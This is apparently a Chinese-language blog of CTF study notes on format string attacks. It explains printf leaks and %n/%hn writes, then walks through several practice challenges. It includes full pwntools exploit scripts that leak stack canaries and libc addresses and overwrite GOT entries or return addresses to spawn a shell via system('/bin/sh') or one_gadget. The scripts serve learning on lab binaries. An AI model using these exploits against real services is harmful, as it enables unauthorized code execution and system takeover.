[2019/08/01]
原理
一般我們寫 printf()
都是這樣寫 printf("%d", value)
那如果寫成 printf(buf)
呢? 他會直接 leak function parameters 的內容,也就是 stack (x86) 或是 register (x64) 的內容
這個就是 Format_string_attack 的源頭,如果程式設計師為了偷懶或其他原因把 printf 寫成這樣,而且我們又能控 buf
的值
那就代表該程式受 Format_string_attack 影響,只要是 printf
家族的 function (ex. vprintf, sprintf) 都有這個問題
舉個例子ㄅ
上面這個我已經把 bp 下在 printf 了,然後是一支 x86 的程式
可以看到我們直接給他 %p
他會吐給我 stack 內的值,照 calling convention 來說這就是在 leak function 的 parameters
那既然他是 leak function parameters 的話,如果一直 leak 下去代表什麼?
他會一直 leak 到 stack 的內容,所以 x64 的話她會依次 leak rsi rdx rcx r8 r9
的值再開始 leak stack 的值 (rdi 是 “%p%p%p” 本身所以不會 leak,又因為 bp 下 printf 的話會先 jmp 進去才停止,所以第一個位置會是 return address,這個不算在 function parameter 內,x86也是同理所以是 leak 第三個位置開始的值)
LiveOverflow
這一個是看影片趕快做一下筆記,不然我快忘光了QQ
影片:https://www.youtube.com/watch?v=t1LH9D5cuK4
題目:https://exploit.education/protostar/format-four/
先看一下source code:
可以看到他是直接做exit
, 並沒有什麼return 0
這種的
所以overflow eip這點是不可行的
透過執行可以知道就是一個我們輸入什麼他printf什麼
但他的printf因為是直接使用printf(buffer)
來做輸出
因此有format string的弱點,盲測的時候可以試著輸入看看%x
或其他printf的關鍵字。
只要有像這樣的回應就代表有戲(?
一般來說Format string可以透過aaaa%N$x
來找offset(x86),N是任意數,就是透過aaaa%1$x
aaaa%2$x
…這樣子下去爆破取得offset%N
是代表第N個參數,$x
是以hex的方式輸出,參照wiki和owasp:
1 | For example, printf("%2$d %2$#x; %1$d %1$#x",16,17) produces 17 0x11; 16 0x10. |
但我懶,pwntool可以直接幫我們找到offset
可看見他的offset是7
知道了這些後,我們要做的就是把vuln裡面的exit的got address改指向hello的address
我們先用gdb改看看,首先先用objdump知道一些address的資訊
這樣就知道了hello和vuln的exit@PLT address
這樣就有了exit@GOT address了
我們把斷點下在0x8049227
讓我們方便改exit@GOT的內容
b *0x8049227
之後r
它然後隨便輸入之後他會在斷點停下來
再對exit@GOT的內容進行更改
set {int}0x804c01c=0x080491a2
然後再c
它
boo! 就會是我們要的結果了,接著我們要不透過gdb達到這件事情
剛剛知道了offset是7,那這個要怎麽利用呢?
我們先嘗試輸入aaaa%7$x
可以看到0x61616161
就是我們剛剛輸入的hex
那我們輸入0x8048000
看看呢?
可以看到他沒有回傳結果,因為0x8048000
他會先輸出00800408
才會去leak, 0x00
就是我們熟知的EOF
,所以我們要換個方式來leak
這樣子就會在leak出0x8048000
位子的內容後才會輸出
但因為相對位置改了,所以我們需要改一下我們的offset, 因為我們的%7$s
是在不包含%7$s
這個字串在內的offset
那現在把它放到前面再接address的話就會包含到%7$s
這個字串了,所以我們要把offset+1就是這個道理
這個在需要leak binary的時候算蠻重要的步驟,因為address不可能沒有00
都準備好了之後我們要開始改寫exit@GOT的內容了,可以利用%n
做到
因為這個address沒有00
的問題,所以我用%7$n
這樣子還是可以的
如果要把address放後面的話就要改成
"aaaa" + "%9$n" + p32(exit_GOT)
因為padding包含了”aaaa”和leak的payload, 所以offset要+2
讓我們用gdb trace一次看看
看上面的exploit code可以知道我們在輸入前加了一個gdb.attach()
這個是用來呼叫gdb hook的code
所以現在是輸入前的情況,我先看看exit@GOT的內容,現在的話還是正常的內容
繼續讓它跑就crash了,這時候再看exit@GOT就會是0x8, 而eip也停在0x8, 因為PLT會把GOT的內容餵給eip, 這個0x8就是p32(exit_GOT)加上”aaaa”的長度
到這邊我們已經成功改寫exit@GOT
現在我們要借助%n
把exit@GOT改寫成0x80491a2
但要在寫入前先輸出0x80481a2
個字串顯然是不太可行
(%n是把至今為止輸出的字串數量寫入特定address)
我們可以2個bytes 2個bytes寫入, 這樣一次的量就不會那麼多
我們首先先寫入後4 bytes比較容易(因為前面都補0就好)1
2<hello> = 0x080491a2
0x91a2 = 37282
但我們的37282
還需要扣掉address本身佔的4 bytes
所以是37278
這是一個小技巧,你要輸出37278個a是的話可以$x
前面加多少數字,他就會輸出多少個空格才輸出hex
我們用gdb trace看看
這是輸入前的exit@GOT
可以看到我們成功改寫後兩bytes了
那要怎麼改寫前兩bytes呢?因為%n
的特性,我們只能越寫越大,但前兩個bytes我們要寫入0x0804
怎麼辦呢?
影片中寫到是可以透過寫入0x10804
來達到目的,因為GOT只會吃後兩bytes,我自己猜測寫超過的話有可能會影響到前一個
GOT的address,不過這也不影響我們的操作
實作還要再算一下,待我貼圖在慢慢說起
第一個位址沒問題吧,然後我們把位址+2來寫高位的前兩個位址
這有點難說明,借影片的圖來說
我們看過這麼多次的objdump可以知道,一個記憶體位置是存一個byte
所以GOT應該也是一個位址存一個bytes, 存了四個bytes,
以little endian的方式存
所以我們把address+2就會寫到前兩個位址的數值
再來就是算數學了
1 | 0x10804=67588 |
我們一樣執行用gdb去看
這是執行printf前,還是正常的GOT內容
可以看到成功被我們更改了
craxme
拿黑坑的例題來練習看看
首先一樣我們要知道他的 offset 是多少
然後看一下source code
雖然這題是要你改寫 magic 的值來取得flag
但這一題可以取得 shell, 可以直接用一招拿到兩個flag
我們先看一下code
我們可以將puts
的got更改成0x080485a1
, 然後將printf
的got改寫為system
的PLT address
這樣我們只要在read
輸入/bin/sh
就會被構成 system("/bin/sh")
執行
這邊的寫法我研究過一陣子,因為一次寫兩個address, 數字真的不小,算起來燒腦
原本打算是在第二次read
的時候再去蓋printf
的GOT address (因為我們一定會跳到puts的那個選項,所以我們其實還可以再叫一次read
)
但是發現透過puts跳過去的read
的 offset 就不會是7了,等於要重找更麻煩,於是我還是認命的一次蓋兩個
跟上面教學如何蓋address一樣,只是它只蓋一個address, 蓋第二個address的話,就變成蓋後兩 bytes 的時候也要多蓋 1 byte 了, 那蓋前兩bytes呢?就變0x20804開頭了
不過我這裡碰到另一個雷點
就是好死不死我的 puts@PLT
下面就是 system@PLT
所以造成一個慘劇發生——我在改寫 puts@GOT
的時候蓋到system@GOT
這時候怎麼辦呢?
在改寫 puts@GOT
的時候用%hn
就好了
exploit code:
%hn 代表限制寫入的長度為2bytes
%hhn 代表寫入的長度限制為1bytes
許多format string attack 的 exploit code 很常看到這種寫法,有些為求精確寫入,會 1 byte 1 byte 的改寫
espr
影片:https://www.youtube.com/watch?v=XuzuFUGuQv0
題目:https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/pwn/espr
這題是很有意思的 Format string attack 的題目,出題隊伍 ESPR 在 HITCON CTF 2017 當導覽員的時候就見過他們,德國一支蠻有名的隊伍,33c3 CTF的題目就是他們出的
這題就是把他們的隊名出成題目
題目只有一張圖片
為求真實,因此會在以沒拿到ELF的情況下解題
因為從題目看得到 rsp
rdi
,所以可以判定這題應該是x64的
用 pwntool 幫我算offset
我們要先嘗試它有沒有開PIE, 如果有開就傷腦筋了
如何確認呢?去嘗試他預設的檔頭位址就行了(0x400000
)
先寫一個leak.py
注意前面的padding要補滿8個,我就因為沒補8個一時之間還以為是 offset 算錯
看起來是沒開 PIE 的,這樣就可以準備來leak binary
這邊也要注意一些 exception 的處理
在try那邊我們有針對 EOFError
(null)
做例外處理
雖然dump.raw
無法執行,但以 leak binary 的角度來說夠了
我們可以用 radare2 更改 function name
整理完後大概是這個樣子:
然後可以進去各個 PLT address 得知這些function的 GOT address
把它加進 exploit code
我們就可以透過 GOT address 去 leak 他的 libc address
但過程中我碰到一個小bug
就是當我用 u64
想把我 recv 回來的 address unpack 的時候一樣跳 error 說長度錯誤
因此我用下面的code 進行 debug
結果是…
WTF !? 長度9?
而且raw還出現我沒recv的東西,順便說一下repr很好用,一些無法顯示在 shell 的 ascii 他會幫你轉成字串輸出
好消息是看起來就是固定會出現那些例外的data, 所以我recv那邊做一下調整就可以了
到這裡我們成功得到它 libc 的 address 了
我們可以用相同的方法把 sleep
和 gets
的 libc 都 leak 出來
但我們如果沒有它的 libc 版本還是不知道 system address 怎麼得到啊
這邊我們可以用 libc_database
知道他是哪個版本的libc, 但這邊我們是local端
就不做了直接leak libc
現在我們有了一切,但最重要的 overwrite 該怎麼做呢?
要知道雖然是 ASLR, 但各 function 之間的距離沒有變,我們可以藉由我們leak出的address得知 printf
和 system
的間距是 0x13ba0
(這個資訊後來覺得其實沒啥用XD)
雖然x64無法讓我們改寫8 bytes的所有內容,但我們也不需要,只需要改寫最後3bytes就夠了
假設system 的位址是 0x7fa1b127a9c0
我們把 0x7fa1b127a9c0
跟 0xff
做 and
運算
這樣我們就可以取得最後 1 byte 0xc0
同理 0x7fa1b127a9c0 & 0xffff00
可以得到 0x27a900
但我們要寫入的應該是 0x27a9
而不是 0x27a900
所以我們還需要把 0x27a900 >> 8
來得到 0x27a9
>> 8
的意思是把數值以二進位形式往右移8位,16進位的話一個數字會由4個0和1組成,要往右移兩個數字的話當然就是移8位了
詳細的介紹可以參考 這裏
我們要做的就是把 printf@GOT
改寫成 system
然後再輸入 /bin/sh
就可以拿到 shell 了
不過要注意一點,與x86不同的是x64一定會遇到 null byte 的問題,剛剛複習了上面的寫法後,因為x64的address不會填滿 8 byte 所以會遇到0x00
導致蓋失敗的問題
所以要更改寫法,把 printf@GOT
放到最後改寫,變成我前面的寫入位址的 payload 都要蓋滿 8 bytes (神麻煩)
我一樣先嘗試改寫最後 1 byte…. 真的很燒腦
payload = "%"+str(196)"c" + "%8$hhn"+ "%8$sa" + p64(printf_GOT)
最後看 write up 發現可以用 ljust 讓 leak 的 padding 固定,就不用在那邊算 offset 多少了
那個 time.sleep(1)
是怕說他還在 sleep 我們就 sendline 了,但其實好像不加也可以(?
真….真的累,光 overwrite 就研究了一整天,網路上的 payload 好難懂
Bypass Stack canary & NX & ASLR
一直想研究這個很久了,每次都只有口頭聽說 Format string attack 可以 byapss linux 那四個防禦機制,但都沒親身實測過
網路上的資源也很少在說 bypass stack canary, 終於找到這篇
大概介紹一下 stack canary, 這個是 linux 為了防止buffer overflow所做的保護機制
他會在 rbp 與 return address 之間插入一個隨機值 rbp 之前插入一個隨機值
只要有人嘗試透過 buffer overflow 修改到這個隨機值,程式就會終止達到保護的目的
我不清楚是不是每個linux都這樣,但我自己 trace 的結果是這樣,順便嘴一下誤導我的文章
https://access.redhat.com/blogs/766093/posts/3548631
圖畫錯啦!
source code:
1 | #include <stdio.h> |
以往都是貼圖片,用這樣子好像比較好一點
反正跑起來就是這樣
看看他的保護機制
我們用gdb debug 他看看,首先我們是進入 center
這個 function 進行 overflow 的,所以要先想辦法 leak center
的stack canary的值
可以看到其中的 fs:0x28
就是 fs
這個 segment register + 0x28 的記憶體位置得到的 random value
fs
base address 我們無從得知
我們把斷點下在 center+95
看看 stack canary 的值
可以看到 rax 就是 stack canary 的值,這個值與 fs:0x28
是相等的,如果 xor 的結果不為0就代表有 overflow 發生,程式就會 terminated
這邊開始我們來 leak stack canary 的值,因為不是找 leak address 的 offset, 所以 pwntools 幫不了我們
只能手動找 offset, 可以利用 %lx
來找 offset, 一般 leak 只能 leak 4byte, 加一個 l
就是 long
的意思
我們一樣用 gdb 配合我們下斷點
因為第一個 Name
的輸入有做長度限制,所以可以不用怕蓋到 stack canary 的值放多一點
可以看到我們大概在第15個 %lx|
就可以 leak stack canary
但能 leak stack canary 只能確保我們能進行 overflow 而已
重點是能跳到哪呢?
我們除了能 leak stack canary 以外,還能 leak r8
的值
根據上面參考的連結說 r8
的地址和 libc base 有固定的公差
libc base 可以透過 vmmap
得到
0x00007ffff7fc2500 - 0x00007ffff7e00000 = 1844480
這邊上面的教學寫錯了,他直接拿 r-x
的區段當 libc base
這應該要從 libc 的頭來當 base, 畢竟所有的 offset 都是以 libc 的開頭來算的
( 不然就是他的 libc 特別厲害都沒在切區段的全都可執行 )
稍微整理一下payload之後就是這個樣子
這樣就得到 libc base address 和 canary 的值了,再來雖然我們前面說可以進行 overflow
但具體上的offset是多少呢?
不能直接用 cyclic
盲蓋,這樣蓋到 stack canary 會直接 crash
因為我們有 ELF 所以直接用 gdb 可以數得出來
在0x62
到 canary 之間的空間就是 buffer 的空間(136)
亦或是可以透過靜態分析得知
我們透過 objdump 得知 stack canary 的位置在 rbp-0x8
的地方
0x90 - 0x8 = 136
他們之間的關係大概是 canary -> rbp address -> ret address (根據看的方向也可能倒過來)
都知道了之後我們就能來進行拿 shell 的動作啦~
直接跳 one gadget 可以省很多力
exploit code:
簡單來說 payload 的構成是 junk(136) + canary(8) + rbp_junk(8) + ret_address(8)
教學多 call setuid(0)
來確保拿到的權限是 root 但我是在kali 就算了。
secret
這一題是defcamp 2019的題目,邊複習這篇邊解出來了XDD
就順便貼上來
checksec:
保護幾乎全開,然後有format string 的問題
用r2看一下他,main
裡面存在format string的問題,
並且在 secret
裡面存在overflow的問題
strcmp下面沒有吐出flag的相關程式碼,意思是就算猜對也不會給你答案,所以我們直接拿shell
一樣,因為我們要先找到canary
的offset才能進行overflow
我們透過輸入%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|
取得canary的value
透過 gdb 可以輕易取得leak canary的offset
可以知道大概在第15個offset
那因為有長度限制,我們無法一直leak到16以後,
我們現在至少知道了第15個是canary, 第16個是__libc_csu_init
的位置
為什麼知道呢?因為每一次執行他的最後1.5個byte都是c40
結尾
符合__libc_csu_init
的結尾
這樣我們就能leak出 program base
了
但除了leak program base
還不夠,我們需要能leak libc address
其實找libc address可以透過他的位址特性—無論前面位址怎麼變最後1.5個byte都不會變
看到最後1.5個byte不會變的位址,再用gdb去看他對應的 function 是什麼
理論上來說 format string 是能leak出 stack 的內容,而 main 的return address__libc_start_main
也會放在stack內,所以基本上都能leak出來
在第17個offset我們就找到 libc 的 address 了
我們輸入 %15$lx %16$lx %17$lx
之後出現了三個 address
我們挑最後一個來看
可以看到裡面的記憶體區段屬於libc的區段,所以我們只要把這個位址扣掉 235
就會得到 __libc_start_main
的開頭位址, 在有libc版本的情況下就可以取得libc_base
進一步可以透過one_gadget然後用overflow取得shell
exploit:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = 'bash'
"""
def leak_offset(payload):
io = process("./pwn_secret")
io.recvuntil("Name: ")
io.sendline(payload)
io.recvuntil("Hillo ")
info = io.recv()
io.close()
return info
autofmt = FmtStr(leak_offset)
print autofmt.offset
"""
leak_offset = 6
canary_offset = 15
overflow_offset = 0x90-0x8
binELF = ELF("./secret")
libcELF = ELF("./libc-2.29.so")
read_got = binELF.got['read']
printf_got = binELF.got['printf']
libc_start_main_libc = libcELF.symbols['__libc_start_main']
leak = "%15$lx" + " " + "%16$lx" + " " + "%17$lx"
#leak = "|%17$lx|%18$lx|%19$lx|%20$lx|%21$lx"
#leak = "%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|%lx|"
io = process("secret")
io.recvuntil("Name: ")
#gdb.attach(io)
io.sendline(leak)
raw = io.recvline().split(" ")
canary = int(raw[1], 16)
program_base = int(raw[2], 16) - 0xc40
#use gdb to trace in you will find main's return address is <libc_start_main + 235>
libc_start_main = int(raw[3], 16) - 235
libc_base = libc_start_main - libc_start_main_libc
log.info("canary is %x" %canary)
log.info("program_base is %x" %program_base)
log.info("libc_start_main is %x" %libc_start_main)
log.info("libc base is %x" %libc_base)
one = libc_base + 0xe664b
overflow = "a"*overflow_offset + p64(canary) + 'bbbbbbbb' +p64(one)
print(repr(p64(canary)))
io.recvuntil("ase: ")
io.sendline(overflow)
io.interactive()
喔還有一點,因為程式有 call alarm
,太惱人了,所以我有把他patch成 isnan
[2021/01/10 update]
rbp chain
這次的手法比較進階,原本打算 2020 年的目標是看完這個@@
無奈真的有點複雜,拖了一年下定決心來好好看看他
這次的練習的題目是 fmtfun4u
網址:
https://github.com/ss8651twtw/CTF/tree/master/site/csie.ctf.tw/hw4/fmtfun4u
關於 ebp chain 可以看 angelboy 的影片前半段
https://www.youtube.com/watch?v=FieppxsupDc
一樣來看 source code1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void read_input(char *buf,unsigned int size){
int ret ;
ret = __read_chk(0,buf,size,size);
if(ret <= 0){
puts("read error");
_exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
}
char buf[0x10];
int main(){
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
for(unsigned int i = 4 ; i >= 0 ; i--){
printf("Input:");
read_input(buf,0x10);
printf(buf);
puts("");
close(i);
}
}
可以看到他把 input 放在 bss 段上而不是一般所熟知的 stack 上,這樣做的意思就是沒辦法透過 leak stack 上的資訊取得
input 所在的 offset, 去藉此 overwrite 任意記憶體,但這時候另一個手法出現了
雖然我們的 input 是在 bss 上,但 function 的 return address 和 rbp 還是在 stack 上
可以透過現在的
rbp 去改寫上一個 rbp 的值
,透過 %10hn
,類似這樣子去改寫現在 rbp 位置存放的值,就是在改寫 上一個 rbp 的值
舉個例子,可以改寫現在的
rbp address, 把上一個
rbp 的值往上移 8 個 byte, 再針對上一個 rbp
的 address 存放的值進行改寫,這樣子其實就是在改寫上一個
function 的 return address
不多說,直接看題目
首先我們當然還是先 leak, 我們需要的 offset
這邊介紹一個方便找 offset 的方法
1 | >>> for i in range(1,11): |
可以這樣子直接貼上找 offset, 看過另一個是直接用 %p
也可以
1 | import struct |
把 bp 下在 printf
來看看 stack 的架構
就如圖上所見,我們可以透過改寫一個 address 內部的值,而這個值也是我們可控的
實際應用場景,我們可以更改 input 的次數,從 4 改寫到65535(0xffff)
思路就是,透過更改這一個
ret address 所指的地址,把它更改成任意的 address (這邊的目標是存放 i 的 address),再透過 Format_string_attack 去改寫被我們改寫過的 address 的值 (這邊就是 i 本身的 value)
畫圖來說的話是這樣:
把它實作的 code:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48from pwn import *
context.log_level = 'debug'
io = process("./fmtfun4u")
libc = ELF("./libc.so.6_kali")
io.recvuntil("Input:")
csu_offset = "%8$lx"
libc_start_main_234 = "%9$lx"
loop_times_offset = "%7$x"
rbp_offset = "%10$lx"
rbp_offset2 = "%39$lx"
# leak text base and libc base address
io.sendline(csu_offset + '|' + libc_start_main_234)
raw_recv = io.recvline()[:-1].split(b'|')
csu = int(raw_recv[0], 16)
libc_start_main = int(raw_recv[1], 16) - 234
log.info("csu is 0x%x" %csu)
log.info("libc_start_main is 0x%x" %libc_start_main)
binbase = csu - 0xa80
libcbase = libc_start_main - libc.symbols['__libc_start_main']
printf_libc = libcbase + libc.symbols['printf']
log.info("binbase is 0x%x" %binbase)
log.info("libcbase is 0x%x" %libcbase)
log.info("printf is 0x%x" %printf_libc)
io.recvuntil("Input:")
gdb.attach(io)
# leak stack address
io.sendline(rbp_offset+'|')
raw_recv2 = io.recvline()[:-1].split(b'|')
rsp = int(raw_recv2[0], 16) - 0x110
# loop_times = i
loop_times = int(raw_recv2[0], 16) - 0x100 + 0x4
log.info("loop_times address is 0x%x" %loop_times)
log.info("rsp is 0x%x" %rsp)
#io.recvuntil("Input:")
def modify(addr, value):
io.recvuntil("Input:")
x = addr & 0xffff
payload = "%" + str(x) + "c" + "%10$hn"
io.sendline(payload)
io.recvuntil("Input:")
payload2 = "%" + str(value) + "c" + "%39$hn"
io.sendline(payload2)
# change i to 65535
modify(loop_times, 0xffff)
io.recvuntil("Input:")
io.interactive()
因為它的 read 有長度限制,所以如果要用 %x
leak 的話沒辦法一次 leak 完
要分兩次才行,如果用 %p
的話則可以一次 leak 完三個我們要的東西
把 bp 下在 printf
再來追一次
這一條是 leak text base 和 libc address 的部分
順便說一下 i 的位置問題,因為 i 是 unsigned int
所以他會以 4 byte 的方式儲存, 那他剛好放在高八位的地方
因為 stack address 指向的地方是從最後一個 byte (最右邊)算起,所以我們要從右往左數到 i 的值,這是為什麼loop_times = int(raw_recv2[0], 16) - 0x100
之外 還要在 + 0x4
的原因
這個是 leak stack address 的步驟,可以看到 i 的值在減少了
這個是在做改寫 address 的步驟,就是我們上圖粉紅色的部分,%10$hn
就是改寫 0x7fffc98f48e8
內的值
順帶附上 stack 的狀態,這是修改前的樣子
修改後的樣子
highlight 一下,可以看到我們把 0x7fffc98f48e8
裡面的記憶體位置改寫成 0x00007fffc98f47ec
,也就是存放 i
的值的位置,所以只要在針對這個位置的值做改寫就可以改寫 i
的值
上面就是在做改寫的動作 %39$hn
對應的就是改寫 0x00007fffc98f47ec
內的值,就是上圖咖啡色的行為
改寫完成,現在可以無限制的輸入了
下一步再回頭來看 stack (我直接拿舊的來改)
可以看到在 vprintf 的 return address 的下一個位址也是指向一個 stack, 那現在基本上我們可以任意寫 stack 了,綠框的部分就是之前改 i 的值的流程,藍框的部分現在被改成存放 i 的位置了
把藍框改到紅框指向的空間寫入 system
的 address,
然後把 return address (橘框)改寫成放 ret
的 address, 這樣她會 pop 紅框的值給 rip, 就會再跳過去構好 system
的地方
這時候我們再輸入 /bin/sh
, rdi 就會是 /bin/sh, 聽起來就可以拿到 shell 了
把一系列的動作時做出來:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64import struct
from pwn import *
context.log_level = 'debug'
io = process("./fmtfun4u")
libc = ELF("./libc.so.6_kali")
io.recvuntil("Input:")
csu_offset = "%8$lx"
libc_start_main_234 = "%9$lx"
loop_times_offset = "%7$x"
rbp_offset = "%10$lx"
rbp_offset2 = "%39$lx"
# leak text base and libc base
gdb.attach(io)
io.sendline(csu_offset + '|' + libc_start_main_234)
raw_recv = io.recvline()[:-1].split(b'|')
csu = int(raw_recv[0], 16)
libc_start_main = int(raw_recv[1], 16) - 234
log.info("csu is 0x%x" %csu)
log.info("libc_start_main is 0x%x" %libc_start_main)
binbase = csu - 0xa80
ret = binbase + 0xae4
libcbase = libc_start_main - libc.symbols['__libc_start_main']
system = libcbase + libc.symbols['system']
printf_libc = libcbase + libc.symbols['printf']
log.info("binbase is 0x%x" %binbase)
log.info("libcbase is 0x%x" %libcbase)
log.info("printf is 0x%x" %printf_libc)
magic =libcbase + 0xcbcba
io.recvuntil("Input:")
# leak stack address
io.sendline(rbp_offset + '|' + rbp_offset2)
raw_recv2 = io.recvline()[:-1].split(b'|')
rsp = int(raw_recv2[0], 16) - 0x110
rbp_chain_address = int(raw_recv2[1], 16)
loop_times = int(raw_recv2[0], 16) - 0x100 + 0x4
log.info("loop_times address is 0x%x" %loop_times)
log.info("rbp chain is 0x%x" %rbp_chain_address)
log.info("rsp is 0x%x" %(rsp))
def modify(addr: int, value: int, Bytes: int):
io.recvuntil("Input:")
x = addr & 0xffff
payload = "%" + str(x) + "c" + "%10$hn"
io.sendline(payload)
io.recvuntil("Input:")
if Bytes == 2:
payload2 = "%" + str(value) + "c" + "%39$hn"
if Bytes == 1:
payload2 = "%" + str(value) + "c" + "%39$hhn"
io.sendline(payload2)
# change i to 65535
modify(loop_times, 0xffff, 2)
modify((rsp+0x110-0x8), (system&0xffff), 2)
modify((rsp+0x110-0x8+2), ((system&0xffff0000) >> 16), 2)
modify((rsp+0x110-0x8+4), ((system&0xffff00000000) >> 32), 2)
modify((rsp), (ret&0xff), 1)
print(io.recvuntil("Input:"))
#change_i_time_payload = "%255c" + "%7hn"
#io.sendline(change_i_time_payload)
io.interactive()0xae4
就是 csu
裡面放 ret
指令的 address, 剛好會到 main 0xa5c
的 offset, 所以只要改寫 1 byte 就好了
另外要注意不管是 (system&0xffff0000) >> 16
或是 (system&0xffff00000000) >> 32
記得都要先把 system&0xffff00
做括弧進行優先計算,不然他會先做 >> 16
然後 payload 就爛了
實做完原本想說成功了,結果忘記了…
可以看到 RIP 如我所想的跳到 ret
的指令上
可以看到 RIP 如我所想的跳到 ret
的指令上, 再把存有 system
位址的 stack 空間 pop 到 RIP
然後呢? 然後就沒有然後了,他就直接跳進 system 執行了,可以看到這時候我們的 RDI 還沒輸入 /bin/sh
就進去 system
裡面了,就出錯了
於是下一步就是嘗試直接在 stack 構 system('/bin/sh')
直接附上最終的 exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78from pwn import *
context.log_level = 'debug'
#io = process("./fmtfun4u")
io = remote("127.0.0.1", 4444)
libc = ELF("./libc.so.6_kali")
io.recvuntil("Input:")
csu_offset = "%8$lx"
libc_start_main_234 = "%9$lx"
loop_times_offset = "%7$x"
rbp_offset = "%10$lx"
rbp_offset2 = "%39$lx"
# leak text base and libc base
io.sendline(csu_offset + '|' + libc_start_main_234)
raw_recv = io.recvline()[:-1].split(b'|')
csu = int(raw_recv[0], 16)
libc_start_main = int(raw_recv[1], 16) - 234
log.info("csu is 0x%x" %csu)
log.info("libc_start_main is 0x%x" %libc_start_main)
binbase = csu - 0xa80
ret = binbase + 0xae4
libcbase = libc_start_main - libc.symbols['__libc_start_main']
system = libcbase + libc.symbols['system']
log.info("system is 0x%x" %system)
pop_rdi_ret = binbase + 0xae3
pop_r12_r13_r14_r15_ret = binbase + 0xadc
binsh = libcbase + next(libc.search(b'/bin/sh'))
printf_libc = libcbase + libc.symbols['printf']
log.info("binbase is 0x%x" %binbase)
log.info("libcbase is 0x%x" %libcbase)
log.info("printf is 0x%x" %printf_libc)
log.info("binsh = 0x%x" %binsh)
io.recvuntil("Input:")
# leak stack address
io.sendline(rbp_offset + '|' + rbp_offset2)
raw_recv2 = io.recvline()[:-1].split(b'|')
rsp = int(raw_recv2[0], 16) - 0x110
rbp_chain_address = int(raw_recv2[1], 16)
loop_times = int(raw_recv2[0], 16) - 0x100 + 0x4
log.info("loop_times address is 0x%x" %loop_times)
log.info("rbp chain is 0x%x" %rbp_chain_address)
log.info("rsp is 0x%x" %(rsp))
def modify(addr: int, value: int, Bytes: int):
io.recvuntil("Input:")
x = addr & 0xffff
payload = "%" + str(x) + "c" + "%10$hn"
io.sendline(payload)
io.recvuntil("Input:")
if Bytes == 2:
payload2 = "%" + str(value) + "c" + "%39$hn"
if Bytes == 1:
payload2 = "%" + str(value) + "c" + "%39$hhn"
io.sendline(payload2)
# change i to 65535
modify(loop_times, 0xffff, 2)
# write rop address
modify((rsp+0x8), (pop_r12_r13_r14_r15_ret&0xffff), 2)
modify((rsp+0x8+2), ((pop_r12_r13_r14_r15_ret&0xffff0000) >> 16), 2)
modify((rsp+0x8+4), ((pop_r12_r13_r14_r15_ret&0xffff00000000) >> 32), 2)
modify((rsp+0x30), (pop_rdi_ret&0xffff), 2)
modify((rsp+0x30+2), ((pop_rdi_ret&0xffff0000) >> 16), 2)
modify((rsp+0x30+4), ((pop_rdi_ret&0xffff00000000) >> 32), 2)
modify((rsp+0x38), (binsh&0xffff), 2)
modify((rsp+0x38+2), ((binsh&0xffff0000) >> 16), 2)
modify((rsp+0x38+4), ((binsh&0xffff00000000) >> 32), 2)
modify((rsp+0x40), (system&0xffff), 2)
modify((rsp+0x40+2), ((system&0xffff0000) >> 16), 2)
modify((rsp+0x40+4), ((system&0xffff00000000) >> 32), 2)
# overwrite return address to ret
modify((rsp), (ret&0xff), 1)
io.interactive()
一步一步用 gdb 來看:
經過 反覆測試後得知 0x7fff93ca6e30
處無法被改寫,一改寫上去就會發生 EOF Error, 代表那個地方可能是 function return 會需要用到的空間
那如果不寫那個地方的話要怎麼構呢?
兩個方法,一個是透過上面扣除 rsp 和 rsp + 0x8 的位置,用剩下的空間到 0x7fff93ca6e30
之間構 system('/bin/sh')
或是直接 pop 到 0x7fff93ca6e30
, 用下面的空間構 shell, 第一個方法受限於 gadget 沒有符合需求所以沒用
這邊使用第二個方法,可以借助 csu
的 gadget 來使用
這是最後的樣子:0x000055a585bebae4
= ret0x000055a585bebadc
= pop_r12_r13_r14_r15_ret0x000055a585bebae3
= pop_rdi_ret0x00007f89c7ecc156
= ‘/bin/sh’0x00007f89c7d8adf0
= system
就是構一個簡單的 ROP